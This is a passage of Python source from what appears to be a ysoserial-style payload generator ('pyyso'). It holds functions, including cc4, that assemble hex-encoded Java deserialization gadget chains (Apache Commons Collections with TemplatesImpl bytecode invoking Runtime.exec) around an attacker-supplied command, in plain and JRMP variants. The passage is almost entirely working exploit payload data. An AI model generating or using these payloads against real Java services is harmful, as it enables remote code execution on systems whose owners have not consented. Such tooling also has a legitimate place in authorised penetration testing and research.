"51aced0005770f020d2f8de400000180c6ce2fa580027372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b787372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574696c2e4d617074001966696c653a2f707269766174652f746d702f79736f2e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707371007e001c7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d834189902000074001966696c653a2f707269766174652f746d702f79736f2e6a61727870000000027372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e000174001966696c653a2f707269766174652f746d702f79736f2e6a6172787076720037636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e5472415846696c74657200000000000000000000007078707372003e6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e7374616e74696174655472616e73666f726d6572348bf47fa486d03b0200025b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000707870000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c61737371007e00384c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870" 4 | midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 5 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001e79736f73657269616c2f50776e65723233313632363231383837383537330100204c79736f73657269616c2f50776e65723233313632363231383837383537333b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e0043000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000017672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000707870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f76657272696465000000000000000000000070787071007e004e" 6 | length = (0x696 + len(cmd)).to_bytes(4, byteorder='big').hex() 7 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 8 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 9 | data = bytes.fromhex(hexdata) 10 | return data 11 | prefix = "aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000027372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b787076720037636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e5472415846696c746572000000000000000000000078707372003e6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e7374616e74696174655472616e73666f726d6572348bf47fa486d03b0200025b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c6573686565747400124c6a6176612f6c616e672f537472696e673b4c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c61737371007e00184c00055f6e616d6571007e001d4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870" 12 | midfix = "cafebabe00000034003907003701002e636f6d6d6f6e332f436f6d6d6f6e436f6c6c656374696f6e733324537475625472616e736c65745061796c6f6164070004010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740700060100146a6176612f696f2f53657269616c697a61626c6501001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f64650a000300100c000c000d01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100304c636f6d6d6f6e332f436f6d6d6f6e436f6c6c656374696f6e733324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a457863657074696f6e73070019010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c65010010436f6d6d6f6e33746573742e6a61766101000c496e6e6572436c617373657307002701001a636f6d6d6f6e332f436f6d6d6f6e436f6c6c656374696f6e7333010013537475625472616e736c65745061796c6f61640100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 13 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572343231393932353933303934313601001f4c79736f73657269616c2f50776e657234323139393235393330393431363b002100010003000100050001001a000700080001000900000002000a00040001000c000d0001000e0000002f00010001000000052ab7000fb10000000200110000000600010000007e00120000000c000100000005001300380000000100150016000200170000000400010018000e0000003f0000000300000001b10000000200110000000600010000008300120000002000030000000100130038000000000001001a001b000100000001001c001d000200010015001e000200170000000400010018000e000000490000000400000001b10000000200110000000600010000008700120000002a00040000000100130038000000000001001a001b000100000001001f002000020000000100210022000300080029000d0001000e00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002300000002002400250000000a000100010026002800097571007e0025000001c9cafebabe00000034001b07000201001e636f6d6d6f6e332f436f6d6d6f6e436f6c6c656374696f6e733324466f6f0700040100106a6176612f6c616e672f4f626a6563740700060100146a6176612f696f2f53657269616c697a61626c6501001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f64650a000300100c000c000d01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100204c636f6d6d6f6e332f436f6d6d6f6e436f6c6c656374696f6e733324466f6f3b01000a536f7572636546696c65010010436f6d6d6f6e33746573742e6a61766101000c496e6e6572436c617373657307001901001a636f6d6d6f6e332f436f6d6d6f6e436f6c6c656374696f6e7333010003466f6f002100010003000100050001001a000700080001000900000002000a00010001000c000d0001000e0000002f00010001000000052ab7000fb10000000200110000000600010000007700120000000c0001000000050013001400000002001500000002001600170000000a000100010018001a00097074000450776e727077010078757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000017672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c6174657300000000000000000000007870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e0030" 14 | length = (0x689 + len(cmd)).to_bytes(4, byteorder='big').hex() 15 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 16 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 17 | data = bytes.fromhex(hexdata) 18 | return data 19 | -------------------------------------------------------------------------------- /src/pyyso/yso/cc4.py: -------------------------------------------------------------------------------- 1 | def cc4(cmd: str, jrmp: bool = True) -> bytes: 2 | if jrmp: 3 | prefix = "51aced0005770f02628afa5d00000180c6de517480017372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b78737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b70787000000002737200426f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e5472616e73666f726d696e67436f6d70617261746f722ff984f02bb108cc0200024c00096465636f726174656471007e001d4c000b7472616e73666f726d657274002d4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870737200406f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000074001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002e5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707572002e5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e5472616e73666f726d65723b39813afb08da3fa502000074001966696c653a2f707269766174652f746d702f79736f2e6a61727870000000027372003c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e000174001966696c653a2f707269766174652f746d702f79736f2e6a6172787076720037636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e5472415846696c74657200000000000000000000007078707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e496e7374616e74696174655472616e73666f726d6572348bf47fa486d03b0200025b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000707870000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c61737371007e00344c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870" 4 | midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 5 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001e79736f73657269616c2f50776e65723233323638333730383139333733390100204c79736f73657269616c2f50776e65723233323638333730383139333733393b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e003f000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000017672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000707870770400000003737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007078700000000171007e004978" 6 | length = (0x696 + len(cmd)).to_bytes(4, byteorder='big').hex() 7 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 8 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 9 | data = bytes.fromhex(hexdata) 10 | return data 11 | prefix = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200426f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e5472616e73666f726d696e67436f6d70617261746f722ff984f02bb108cc0200024c00096465636f726174656471007e00014c000b7472616e73666f726d657274002d4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b7870737200406f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002e5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b78707572002e5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e5472616e73666f726d65723b39813afb08da3fa50200007870000000027372003c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b787076720037636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e5472415846696c746572000000000000000000000078707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e496e7374616e74696174655472616e73666f726d6572348bf47fa486d03b0200025b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c6573686565747400124c6a6176612f6c616e672f537472696e673b4c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c61737371007e00144c00055f6e616d6571007e00194c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870" 12 | midfix = 